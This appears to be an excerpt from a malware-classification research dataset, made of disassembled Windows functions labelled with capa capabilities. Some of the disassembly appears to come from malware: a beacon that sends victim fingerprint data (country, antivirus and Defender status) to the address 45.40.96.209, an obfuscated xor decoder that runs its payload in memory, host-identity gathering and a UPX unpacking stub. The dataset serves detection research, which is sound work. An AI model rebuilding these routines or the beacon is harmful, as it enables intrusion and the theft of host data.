joyce8/EMBER2024-capa huggingface dataset:
Function at 0x2a86a5f1
Capabilities:
Encode data using base64

Disassembly:
push 0x14
mov eax, 0x2a9840b2
call fcn.2a84a73f
xor ebx, ebx
mov dword [ebp - 0x20], ebx
mov eax, dword [ebp + 8]
mov dword [eax + 0x10], ebx
mov dword [eax + 0x14], 0xf
mov byte [eax], bl
mov eax, dword fs:[0x2c]
xor edi, edi
mov ecx, dword [0x2aa01180]
inc edi
mov dword [ebp - 4], ebx
mov dword [ebp - 0x20], edi
mov ecx, dword [eax + ecx*4]
mov eax, dword [0x2a9ffcec]
cmp eax, dword [ecx + 4]
jg 0x2a86a7a5
mov eax, dword [ebp + 0x10]
mov edi, ebx
test eax, eax
je 0x2a86a797
push 3
pop esi
mov ecx, dword [ebp + 0xc]
dec eax
mov dword [ebp + 0x10], eax
mov al, byte [ecx]
mov byte [ebp + edi - 0x14], al
inc edi
mov dl, byte [ebp - 0x13]
inc ecx
mov dword [ebp + 0xc], ecx
mov ch, byte [ebp - 0x12]
mov cl, byte [ebp - 0x14]
mov byte [ebp - 0xf], ch
mov byte [ebp - 0xd], dl
mov byte [ebp - 0xe], cl
cmp edi, esi
jne 0x2a86a6e0
mov esi, dword [ebp + 8]
mov al, cl
shr al, 2
and cl, 3
mov byte [ebp - 0x18], al
mov edi, ebx
shl cl, 4
mov al, dl
shr al, 4
add cl, al
mov al, ch
mov byte [ebp - 0x17], cl
mov cl, dl
and cl, 0xf
shr al, 6
shl cl, 2
add cl, al
mov al, ch
and al, 0x3f
mov byte [ebp - 0x16], cl
mov byte [ebp - 0x15], al
cmp dword [0x2a9fb0fc], 0x10
mov ecx, 0x2a9fb0e8
movzx eax, byte [ebp + edi - 0x18]
cmovae ecx, dword [0x2a9fb0e8]
movzx eax, byte [eax + ecx]
mov ecx, esi
push eax
call fcn.2a863ee0
inc edi
cmp edi, 4
jl 0x2a86a6a8
mov dl, byte [ebp - 0xd]
mov edi, ebx
mov cl, byte [ebp - 0xe]
mov ch, byte [ebp - 0xf]
push 3
pop esi
mov eax, dword [ebp + 0x10]
test eax, eax
jne 0x2a86a64a
mov dword [ebp - 0x1c], edi
test edi, edi
je 0x2a86a797
mov eax, edi
cmp edi, esi
jge 0x2a86a716
cmp eax, esi
jae 0x2a86a7a0
mov byte [ebp + eax - 0x14], bl
inc eax
cmp eax, esi
jl 0x2a86a6fe
mov ch, byte [ebp - 0x12]
mov dl, byte [ebp - 0x13]
mov cl, byte [ebp - 0x14]
mov al, cl
and cl, 3
shr al, 2
mov byte [ebp - 0x18], al
mov al, dl
shr al, 4
and dl, 0xf
shl cl, 4
add cl, al
shl dl, 2
mov al, ch
mov byte [ebp - 0x17], cl
shr al, 6
and ch, 0x3f
add dl, al
mov byte [ebp - 0x15], ch
lea eax, [edi + 1]
mov byte [ebp - 0x16], dl
mov dword [ebp - 0x14], eax
test eax, eax
jle 0x2a86a782
mov esi, dword [ebp + 8]
mov edi, eax
cmp dword [0x2a9fb0fc], 0x10
mov ecx, 0x2a9fb0e8
movzx eax, byte [ebp + ebx - 0x18]
cmovae ecx, dword [0x2a9fb0e8]
movzx eax, byte [eax + ecx]
mov ecx, esi
push eax
call fcn.2a863ee0
inc ebx
cmp ebx, edi
jl 0x2a86a753
mov edi, dword [ebp - 0x1c]
push 3
pop esi
cmp edi, esi
jge 0x2a86a797
sub esi, edi
mov ecx, dword [ebp + 8]
push 0x3d
call fcn.2a863ee0
sub esi, 1
jne 0x2a86a788
mov eax, dword [ebp + 8]
call fcn.2a84aa52
ret
call fcn.2a863ee0
mov esi, 0x2a9ffcec
push esi
call fcn.2a863ee0
cmp dword [0x2a9ffcec], 0xffffffff
pop ecx
jne 0x2a86a63a
push 0x2a98b078
mov ecx, 0x2a9fb0e8
mov dword [ebp - 4], edi
call fcn.2a84e949
push 0x2a987df0
call fcn.2a863ee0
push esi
mov byte [ebp - 4], bl
call fcn.2a863ee0
pop ecx
pop ecx
jmp 0x2a86a63a
Function at 0x2a8760be
Capabilities:
Encode data using base64

Disassembly:
push 0x14
mov eax, 0x2a985659
call fcn.2a84a73f
mov edi, dword [ebp + 0xc]
xor ecx, ecx
mov dword [ebp - 0x1c], ecx
mov dword [ebp - 0x14], edi
cmp dword [edi + 0x14], 0x10
jb 0x2a8760e0
mov eax, dword [edi]
mov dword [ebp - 0x14], eax
mov esi, dword [ebp + 8]
mov ebx, dword [edi + 0x10]
mov dword [ebp - 0x10], ebx
mov dword [ebp - 0x20], esi
mov dword [esi + 0x10], ecx
mov dword [esi + 0x14], 0xf
mov byte [esi], cl
push ecx
mov eax, ebx
mov dword [ebp - 4], ecx
shl eax, 2
push 3
pop ecx
cdq
idiv ecx
mov dword [ebp - 0x1c], 1
add eax, ecx
mov ecx, esi
push eax
call fcn.2a863ee0
cmp dword [esi + 0x14], 0x10
mov edx, esi
jb 0x2a876122
mov edx, dword [esi]
xor ecx, ecx
test ebx, ebx
jle 0x2a8761d3
mov esi, dword [ebp - 0x14]
movzx eax, byte [esi + ecx]
shr eax, 2
mov al, byte [eax + 0x2a98cc18]
mov byte [edx], al
mov bl, byte [esi + ecx]
and bl, 3
shl bl, 4
inc ecx
cmp ecx, dword [ebp - 0x10]
jge 0x2a876155
mov al, byte [esi + ecx]
shr al, 4
or bl, al
movzx eax, bl
mov al, byte [eax + 0x2a98cc18]
mov byte [edx + 1], al
mov eax, dword [ebp - 0x10]
cmp ecx, eax
jge 0x2a876196
cmp dword [edi + 0x14], 0x10
mov ebx, edi
jb 0x2a876172
mov ebx, dword [edi]
mov bl, byte [ebx + ecx]
and bl, 0xf
shl bl, 2
inc ecx
cmp ecx, eax
jge 0x2a876188
mov al, byte [esi + ecx]
shr al, 6
or bl, al
movzx eax, bl
mov bl, byte [eax + 0x2a98cc18]
mov eax, dword [ebp - 0x10]
jmp 0x2a876198
mov bl, 0x3d
lea esi, [edx + 3]
mov byte [edx + 2], bl
mov dword [ebp - 0x18], esi
mov edx, esi
mov esi, dword [ebp - 0x14]
inc edx
cmp ecx, eax
jge 0x2a8761bd
movzx eax, byte [esi + ecx]
and eax, 0x3f
mov bl, byte [eax + 0x2a98cc18]
mov eax, dword [ebp - 0x10]
jmp 0x2a8761bf
mov bl, 0x3d
mov esi, dword [ebp - 0x18]
inc ecx
mov byte [esi], bl
mov esi, dword [ebp - 0x14]
cmp ecx, eax
jl 0x2a87612f
mov esi, dword [ebp - 0x20]
cmp dword [esi + 0x14], 0x10
mov eax, esi
jb 0x2a8761dd
mov eax, dword [esi]
push 0
sub edx, eax
mov ecx, esi
push edx
call fcn.2a863ee0
mov eax, esi
call fcn.2a84aa52
ret

Function at 0x2a878715
Capabilities:
Get hostname

Disassembly:
push 0x448
mov eax, 0x2a985ae9
call fcn.2a8ca9a7
mov esi, dword [ebp + 8]
lea eax, [ebp - 0x410]
mov edi, 0x400
mov dword [ebp - 0x450], esi
push edi
xor ebx, ebx
push ebx
push eax
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
lea eax, [ebp - 0x410]
push edi
push eax
call dword [sym.imp.WS2_32.dll_gethostname]
test eax, eax
jne 0x2a878779
lea eax, [ebp - 0x410]
mov dword [esi + 0x10], ebx
mov dword [esi + 0x14], 0xf
mov ecx, esi
push eax
mov byte [esi], bl
call fcn.2a84e949
mov eax, esi
call fcn.2a8ca985
ret
push 0x93
lea ecx, [ebp - 0x454]
call fcn.2a863ee0
lea ecx, [ebp - 0x44c]
mov dword [ebp - 4], ebx
push ecx
mov ecx, eax
call fcn.2a86a7ea
push eax
lea ecx, [ebp - 0x434]
mov byte [ebp - 4], 1
call fcn.2a869ec4
push 0x2a9f32e4
lea eax, [ebp - 0x434]
push eax
call sub.VCRUNTIME140.dll__CxxThrowException
int3
Function at 0x2a87df87
Capabilities:
Get socket status

Disassembly:
push 0x198
mov eax, 0x2a986702
call fcn.2a8ca9a7
mov eax, dword [ecx + 0x10004]
xor esi, esi
mov dword [ebp - 0x194], 0x1e
mov dword [ebp - 0x190], esi
cmp eax, 0xffffffff
je 0x2a87dff3
lea ecx, [ebp - 0x194]
mov dword [ebp - 0x188], eax
push ecx
inc eax
mov dword [ebp - 0x18c], 1
lea ecx, [ebp - 0x18c]
push esi
cmp dword [ebp + 8], esi
jne 0x2a87dfdb
push esi
push ecx
jmp 0x2a87dfdd
push ecx
push esi
push eax
call dword [sym.imp.WS2_32.dll_select]
cmp eax, 1
jne 0x2a87e02b
mov al, al
call fcn.2a8ca985
ret 4
push 0x92
lea ecx, [ebp - 0x1a4]
call fcn.2a863ee0
lea ecx, [ebp - 0x88]
mov dword [ebp - 4], esi
push ecx
mov ecx, eax
call fcn.2a86a7ea
push eax
lea ecx, [ebp - 0x58]
mov byte [ebp - 4], 1
call fcn.2a863ee0
push 0x2a9f531c
lea eax, [ebp - 0x58]
jmp 0x2a87e05f
push 0x77
lea ecx, [ebp - 0x19c]
call fcn.2a863ee0
lea ecx, [ebp - 0x70]
mov dword [ebp - 4], 2
push ecx
mov ecx, eax
call fcn.2a86a7ea
push eax
lea ecx, [ebp - 0x34]
mov byte [ebp - 4], 3
call fcn.2a863ee0
push 0x2a9f531c
lea eax, [ebp - 0x34]
push eax
call sub.VCRUNTIME140.dll__CxxThrowException
int3
Function at 0x2a8bcfd0
Capabilities:
Encode data using xor

Disassembly:
mov eax, 0xc
call fcn.2a8cb5a0
push ebp
mov ebp, dword [esp + 0x20]
push esi
mov esi, dword [esp + 0x18]
inc ebp
push edi
mov edi, dword [esp + 0x20]
mov eax, dword [esi + 4]
mov ecx, dword [edi + 8]
mov eax, dword [eax + 0x64]
test byte [eax + 0x30], 1
je 0x2a8bd05a
mov edx, dword [esp + 0x24]
lea eax, [edx + ebp]
cmp eax, ecx
ja 0x2a8bd05e
add dword [edi + 0x14], edx
sub ecx, edx
add dword [edi + 0x18], edx
sub dword [edi + 0xc], edx
mov dword [edi + 8], ecx
mov eax, dword [edi + 0x14]
push ebx
push dword [esi + 0x3c8]
mov al, byte [eax + ecx - 1]
movzx ebx, al
mov byte [esp + 0x30], al
mov dword [esp + 0x24], ebx
call fcn.2a894ac0
push eax
call fcn.2a8cdea0
mov esi, dword [edi + 8]
add esp, 8
mov dword [esp + 0x18], esi
and eax, 0x200000
je 0x2a8bd067
sub esi, ebx
mov eax, 1
dec esi
pop ebx
mov dword [edi + 8], esi
pop edi
pop esi
pop ebp
add esp, 0xc
ret
cmp ebp, ecx
jbe 0x2a8bd012
pop edi
pop esi
xor eax, eax
pop ebp
add esp, 0xc
ret
lea ecx, [ebx + ebp]
mov eax, esi
mov ebx, esi
xor eax, ecx
sub ebx, ecx
xor ebx, ecx
or ebx, eax
mov eax, 0x100
xor ebx, esi
shr ebx, 0x1f
dec ebx
cmp esi, eax
cmovb eax, esi
xor ebp, ebp
mov dword [esp + 0x14], eax
test eax, eax
je 0x2a8bd0e4
mov eax, dword [esp + 0x20]
dec esi
mov edi, dword [edi + 0x14]
shr eax, 0x1f
add edi, esi
mov esi, dword [esp + 0x20]
mov dword [esp + 0x10], eax
movzx eax, byte [esp + 0x10]
lea edi, [edi - 1]
mov edx, esi
mov ecx, ebp
sub edx, ebp
shr ecx, 0x1f
shr edx, 0x1f
xor al, cl
xor dl, cl
inc ebp
movzx ecx, byte [esp + 0x2c]
or dl, al
movzx eax, byte [edi + 1]
dec dl
movzx edx, dl
xor ecx, eax
and edx, ecx
not edx
and ebx, edx
cmp ebp, dword [esp + 0x14]
jb 0x2a8bd0a5
mov esi, dword [esp + 0x18]
mov edi, dword [esp + 0x24]
mov eax, dword [esp + 0x20]
not ebx
movzx ecx, bl
inc eax
dec ecx
shr ecx, 0x1f
neg ecx
and eax, ecx
sub esi, eax
mov eax, ecx
pop ebx
mov dword [edi + 8], esi
and eax, 1
pop edi
not ecx
pop esi
or eax, ecx
pop ebp
add esp, 0xc
ret

Function at 0x2a8ca80f
Capabilities:
Create process on windows

Disassembly:
push 0x48
mov eax, 0x2a987d7c
call fcn.2a84a73f
mov edi, ecx
push 0x44
pop esi
push esi
xor ebx, ebx
lea eax, [ebp - 0x54]
push ebx
push eax
call sub.VCRUNTIME140.dll_memset
push 0x10
mov dword [ebp - 0x54], esi
call fcn.2a863ee0
mov esi, eax
add esp, 0x10
mov dword [ebp - 0x10], esi
mov dword [ebp - 4], ebx
test esi, esi
je 0x2a8ca854
push 0x10
push ebx
push esi
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
jmp 0x2a8ca856
mov esi, ebx
or dword [ebp - 4], 0xffffffff
mov ecx, edi
mov dword [edi + 0x24], esi
call fcn.2a8c9bfd
push dword [edi + 0x24]
lea ecx, [ebp - 0x54]
push ecx
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
push eax
push ebx
call dword [sym.imp.kernel32.dll_CreateProcessW]
call fcn.2a84aa52
ret
Function at 0x2a8e9c90
Capabilities:
Check if file exists

Disassembly:
push ebx
push esi
mov esi, dword [esp + 0x10]
push edi
push esi
push dword [esp + 0x14]
call fcn.2a863ee0
push 0x62
push esi
mov edi, eax
mov ebx, 1
call sub.VCRUNTIME140.dll_strchr
add esp, 0x10
mov ecx, 0x11
test eax, eax
cmove ebx, ecx
test edi, edi
jne 0x2a8e9d35
push 0x48
push str.crypto_bio_bss_file.c
call dword [sym.imp.kernel32.dll_GetLastError]
push eax
push 1
push 2
call fcn.2a8d0840
push 0x2a9916a4
push esi
push 0x2a9b39b8
push dword [esp + 0x30]
push str.fopen_
push 5
call fcn.2a8cff50
add esp, 0x2c
call sub.api_ms_win_crt_runtime_l1_1_0.dll__errno
cmp dword [eax], 2
je 0x2a8e9d12
call sub.api_ms_win_crt_runtime_l1_1_0.dll__errno
cmp dword [eax], 6
je 0x2a8e9d12
lea eax, [edi + 2]
lea ecx, [edi + 0x51]
jmp 0x2a8e9d1c
mov eax, 0x80
mov ecx, 0x4f
push ecx
push str.crypto_bio_bss_file.c
push eax
push 0x6d
push 0x20
call fcn.2a8d0840
add esp, 0x14
xor eax, eax
pop edi
pop esi
pop ebx
ret
push 0x2a9b3960
call fcn.2a8ce250
mov esi, eax
add esp, 4
test esi, esi
jne 0x2a8e9d57
push edi
call sub.api_ms_win_crt_stdio_l1_1_0.dll_fclose
add esp, 4
xor eax, eax
pop edi
pop esi
pop ebx
ret
push 0
push esi
call fcn.2a8cdbf0
push edi
push ebx
push 0x6a
push esi
call fcn.2a8cdc20
add esp, 0x18
mov eax, esi
pop edi
pop esi
pop ebx
ret
Function at 0x401460
Capabilities:
Create http request
Read data from internet
Receive data

Disassembly:
push ebp
push edi
push esi
push ebx
push eax
mov eax, 0x1c48
call fcn.00403020
sub esp, eax
mov ebx, dword [esp + 0x1c6c]
mov eax, dword [esp + eax]
mov dword [esp + 0x10], ecx
mov dword [esp + 0xc], edx
mov dword [esp + 0x28], str.10.1.1
mov dword [esp + 0x24], 0x40c06b
mov dword [esp + 0x20], ebx
mov ebx, dword [esp + 0x1c68]
mov dword [esp + 8], eax
mov dword [esp + 4], str._cliente_cod_scliente_name_scliente_pais_scliente_ram_scliente_cpu_scliente_defender_dcliente_antivirus_scliente_ads_scliente_version_s
mov dword [esp + 0x1c], ebx
mov ebx, dword [esp + 0x1c64]
mov dword [esp + 0x18], ebx
mov ebx, dword [esp + 0x1c60]
mov dword [esp + 0x14], ebx
lea ebx, [esp + 0x40]
mov dword [esp], ebx
call sub.msvcrt.dll_sprintf
mov dword [esp + 0xc], ebx
lea ebx, [esp + 0x440]
mov dword [esp + 8], str.http:__45.40.96.209:5000_clientes_add
mov dword [esp + 4], str._s_s
mov dword [esp], ebx
call sub.msvcrt.dll_sprintf
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], 1
mov dword [esp], str.Minha_Aplicacao
call sub.WININET.DLL_InternetOpenA
sub esp, 0x14
test eax, eax
je 0x4015cc
mov dword [esp + 4], ebx
mov dword [esp + 0x14], 0
mov ebp, eax
mov dword [esp + 0x10], 0x80000000
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp], eax
call sub.WININET.DLL_InternetOpenUrlA
sub esp, 0x18
test eax, eax
mov esi, eax
lea edi, [esp + 0x3c]
lea ebx, [esp + 0xc40]
jne 0x40158c
jmp 0x4015e3
mov eax, dword [esp + 0x3c]
test eax, eax
je 0x4015ab
mov dword [esp + 8], ebx
mov dword [esp + 4], eax
mov dword [esp], str._.s
call sub.msvcrt.dll_printf
mov dword [esp + 0xc], edi
mov dword [esp + 8], 0x1000
mov dword [esp + 4], ebx
mov dword [esp], esi
call sub.WININET.DLL_InternetReadFile
sub esp, 0x10
test eax, eax
jne 0x401570
mov dword [esp], esi
call sub.WININET.DLL_InternetCloseHandle
sub esp, 4
mov dword [esp], ebp
call sub.WININET.DLL_InternetCloseHandle
sub esp, 4
add esp, 0x1c4c
pop ebx
pop esi
pop edi
pop ebp
ret
call sub.KERNEL32.dll_GetLastError
mov dword [esp], str.saglZUWqFCDedtBvgxLYUjTDVcAwSQgjeOWDDhGyCmSCtVdDkTvTIotEYJKmVZXbyoaLSaQbiMaCyejDdMGgTVMNWIdGuImyrze:__lu_n
mov dword [esp + 4], eax
call sub.msvcrt.dll_printf
jmp 0x4015c1
call sub.KERNEL32.dll_GetLastError
mov dword [esp], str.saglZUWqFCDedtBvgxLYUjTDVcAwSQgjeOWDDhGyCmSCtVdDkTvTIotEYJKmVZXbyoaLSaQbiMaCyejDdMGgTVMNWIdGuImyrze:__lu_n
mov dword [esp + 4], eax
call sub.msvcrt.dll_printf
mov dword [esp], ebp
call sub.WININET.DLL_InternetCloseHandle
push eax
jmp 0x4015c1
Function at 0x401610
Capabilities:
Create http request
Read data from internet
Receive data

Disassembly:
push ebp
push edi
push esi
push ebx
push eax
mov eax, 0x1c48
call fcn.00403020
sub esp, eax
mov ebx, dword [esp + 0x1c6c]
mov eax, dword [esp + eax]
mov dword [esp + 0x10], ecx
mov dword [esp + 0xc], edx
mov dword [esp + 0x28], str.10.1.1
mov dword [esp + 0x24], 0x40c06b
mov dword [esp + 0x20], ebx
mov ebx, dword [esp + 0x1c68]
mov dword [esp + 8], eax
mov dword [esp + 4], str._cliente_cod_scliente_name_scliente_pais_scliente_ram_scliente_cpu_scliente_defender_dcliente_antivirus_scliente_ads_scliente_version_
mov dword [esp + 0x1c], ebx
mov ebx, dword [esp + 0x1c64]
mov dword [esp + 0x18], ebx
mov ebx, dword [esp + 0x1c60]
mov dword [esp + 0x14], ebx
lea ebx, [esp + 0x40]
mov dword [esp], ebx
call sub.msvcrt.dll_sprintf
mov dword [esp + 0xc], ebx
lea ebx, [esp + 0x440]
mov dword [esp + 8], str.http:__45.40.96.209:5000_clientes_add
mov dword [esp + 4], str._s_s
mov dword [esp], ebx
call sub.msvcrt.dll_sprintf
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], 1
mov dword [esp], str.Minha_Aplicacao
call sub.WININET.DLL_InternetOpenA
sub esp, 0x14
test eax, eax
je 0x401790
mov dword [esp + 4], ebx
mov dword [esp + 0x14], 0
mov ebp, eax
mov dword [esp + 0x10], 0x80000000
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp], eax
call sub.WININET.DLL_InternetOpenUrlA
sub esp, 0x18
test eax, eax
mov esi, eax
lea edi, [esp + 0x3c]
lea ebx, [esp + 0xc40]
jne 0x40174c
jmp 0x4017b0
mov eax, dword [esp + 0x3c]
test eax, eax
je 0x40176b
mov dword [esp + 8], ebx
mov dword [esp + 4], eax
mov dword [esp], str._.s
call sub.msvcrt.dll_printf
mov dword [esp + 0xc], edi
mov dword [esp + 8], 0x1000
mov dword [esp + 4], ebx
mov dword [esp], esi
call sub.WININET.DLL_InternetReadFile
sub esp, 0x10
test eax, eax
jne 0x401730
mov dword [esp], esi
call sub.WININET.DLL_InternetCloseHandle
sub esp, 4
mov dword [esp], ebp
call sub.WININET.DLL_InternetCloseHandle
sub esp, 4
add esp, 0x1c4c
pop ebx
pop esi
pop edi
pop ebp
ret
call sub.KERNEL32.dll_GetLastError
mov dword [esp], str.saglZUWqFCDedtBvgxLYUjTDVcAwSQgjeOWDDhGyCmSCtVdDkTvTIotEYJKmVZXbyoaLSaQbiMaCyejDdMGgTVMNWIdGuImyrze:__lu_n
mov dword [esp + 4], eax
call sub.msvcrt.dll_printf
add esp, 0x1c4c
pop ebx
pop esi
pop edi
pop ebp
ret
call sub.KERNEL32.dll_GetLastError
mov dword [esp], str.saglZUWqFCDedtBvgxLYUjTDVcAwSQgjeOWDDhGyCmSCtVdDkTvTIotEYJKmVZXbyoaLSaQbiMaCyejDdMGgTVMNWIdGuImyrze:__lu_n
mov dword [esp + 4], eax
call sub.msvcrt.dll_printf
mov dword [esp], ebp
call sub.WININET.DLL_InternetCloseHandle
sub esp, 4
jmp 0x401781
Function at 0x401bd0
Capabilities:
Get disk information
Get hostname
Get session user name

Disassembly:
push esi
push ebx
sub esp, 0x144
lea ebx, [esp + 0x2c]
lea eax, [esp + 0x28]
mov dword [esp + 0x28], 0x10
mov dword [esp], ebx
mov dword [esp + 4], eax
call sub.KERNEL32.dll_GetComputerNameA
sub esp, 8
lea esi, [esp + 0x3c]
lea eax, [esp + 0x24]
mov dword [esp + 0x24], 0x104
mov dword [esp], esi
mov dword [esp + 4], eax
call sub.ADVAPI32.DLL_GetUserNameA
sub esp, 8
lea eax, [esp + 0x20]
mov dword [esp + 0x1c], 0
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], eax
mov dword [esp + 8], 0
mov dword [esp + 4], 0
mov dword [esp], 0x40c62e
call sub.KERNEL32.dll_GetVolumeInformationA
sub esp, 0x20
mov eax, dword [esp + 0x20]
mov dword [esp + 0x10], esi
mov dword [esp + 0xc], ebx
mov dword [esp + 8], str._s__s__u
mov dword [esp + 4], 0x100
mov dword [esp], 0x410020
mov dword [esp + 0x14], eax
call fcn.00404c60
add esp, 0x144
mov eax, 0x410020
pop ebx
pop esi
ret
Function at 0x430a67ba
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x430aa9f0]
jne 0x430a67c4
repz ret
jmp fcn.430a7df9

Function at 0x430a6e5d
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2c
pushal
call 0x430a6e6c
pop dword [ebp - 0x1c]
mov eax, 0x19a43598
add eax, 0x296638d4
sub dword [ebp - 0x1c], eax
push 0x40
push 0x1000
push 0x3b24d
push 0
mov eax, 0x91c74ef4
sub eax, 0x4ebd3e54
add eax, dword [ebp - 0x1c]
call dword [eax]
mov ecx, 0x2b68c629
sub ecx, 0x2b687006
mov edx, eax
mov esi, 0x540e6a5e
sub esi, 0x11038c5e
add esi, dword [ebp - 0x1c]
mov ebx, 0x4e971738
sub ebx, 0x681baab1
mov dword [ebp - 8], 0x97f6979
mov edi, dword [esi]
xor dword [ebp - 8], eax
xor edi, ebx
xor dword [ebp - 0xc], eax
mov dword [edx], edi
add edx, 0x671bdc26
sub edx, 0x671bdc22
add esi, 0xc329cc3b
add esi, 0x3cd633c9
loop 0x430a6ecb
add eax, 0x427bc2eb
add eax, 0xbd858874
mov ebx, eax
add eax, 5
mov ecx, 0x39143fd5
sub ecx, 0xf60a3fd5
add ecx, dword [ebp - 0x1c]
call ebx
leave
ret

Function at 0x8003b3f
Capabilities:
Accept command line arguments
Hide graphical window

Disassembly:
push ebp
mov ebp, esp
mov dword [0x80043b4], 0x30
mov dword [0x80043bc], 0x8003351
mov dword [0x80043b8], 2
mov dword [0x80043c0], 0
mov dword [0x80043c4], 0
push 0
call dword [sym.imp.kernel32.dll_GetModuleHandleA]
jmp 0x8003b82
mov dword [0x80043c8], eax
mov dword [0x80043dc], 0x80041e0
mov dword [0x80043d4], 0xf
mov dword [0x8004102], eax
push 0x7f00
push 0
call dword [sym.imp.user32.dll_LoadIconA]
mov dword [0x80043cc], eax
mov dword [0x80043e0], eax
push 0x7f00
push 0
call dword [sym.imp.user32.dll_LoadCursorA]
mov dword [0x800410a], ebp
mov dword [0x80043d0], eax
push 0x80043b4
call dword [sym.imp.user32.dll_RegisterClassExA]
call dword [sym.imp.kernel32.dll_GetCommandLineA]
mov dword [0x8004434], eax
push 0
push dword [0x8004102]
push 0
push 0
push 0x1ef
push 0x21c
push 0xffffe688
push 0xfffff524
push 0xcf0000
push str.uno_momento
push str.verba
push 0
call dword [sym.imp.user32.dll_CreateWindowExA]
mov dword [0x800442c], eax
push 1
push dword [0x800442c]
call dword [sym.imp.user32.dll_ShowWindow]
push dword [0x800442c]
call dword [sym.imp.user32.dll_UpdateWindow]
jmp 0x8003c40
xor edi, edi
lea ebx, [0x80043e4]
jmp 0x8003c58
push ebx
call dword [sym.imp.user32.dll_TranslateMessage]
push ebx
call dword [sym.imp.user32.dll_DispatchMessageA]
push edi
push edi
push edi
push ebx
call dword [sym.imp.user32.dll_GetMessageA]
test al, al
jne 0x8003c4a
jmp 0x8003c6c
mov eax, dword [0x80043ec]
call fcn.08002ae4
ret
Function at 0x4125a0
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.UPX1
lea edi, [esi - 0xe000]
push edi
or ebp, 0xffffffff
jmp 0x4125c2
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x4125c9
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x4125b8
mov eax, 1
add ebx, ebx
jne 0x4125db
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x4125d0
jne 0x4125ec
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x4125d0
xor ecx, ecx
sub eax, 3
jb 0x412600
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x412672
mov ebp, eax
add ebx, ebx
jne 0x41260b
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jne 0x412618
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jne 0x41263c
inc ecx
add ebx, ebx
jne 0x412628
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x41261d
jne 0x412639
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x41261d
add ecx, 2
cmp ebp, 0xfffff300
adc ecx, 1
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x41265c
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x41264d
jmp 0x4125be
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x41265c
add edi, ecx
jmp 0x4125be
pop esi
mov edi, esi
mov ecx, 0x25d
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x41267a
cmp byte [edi], 1
jne 0x41267a
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov eax, ebx
loop 0x41267f
lea edi, [esi + 0x10000]
mov eax, dword [edi]
or eax, eax
je 0x4126ee
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x12720]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x12798]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x4126ac
mov ecx, edi
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x1279c]
or eax, eax
je 0x4126e8
mov dword [ebx], eax
add ebx, 4
jmp 0x4126c9
call dword [esi + 0x127a0]
popal
jmp section.UPX0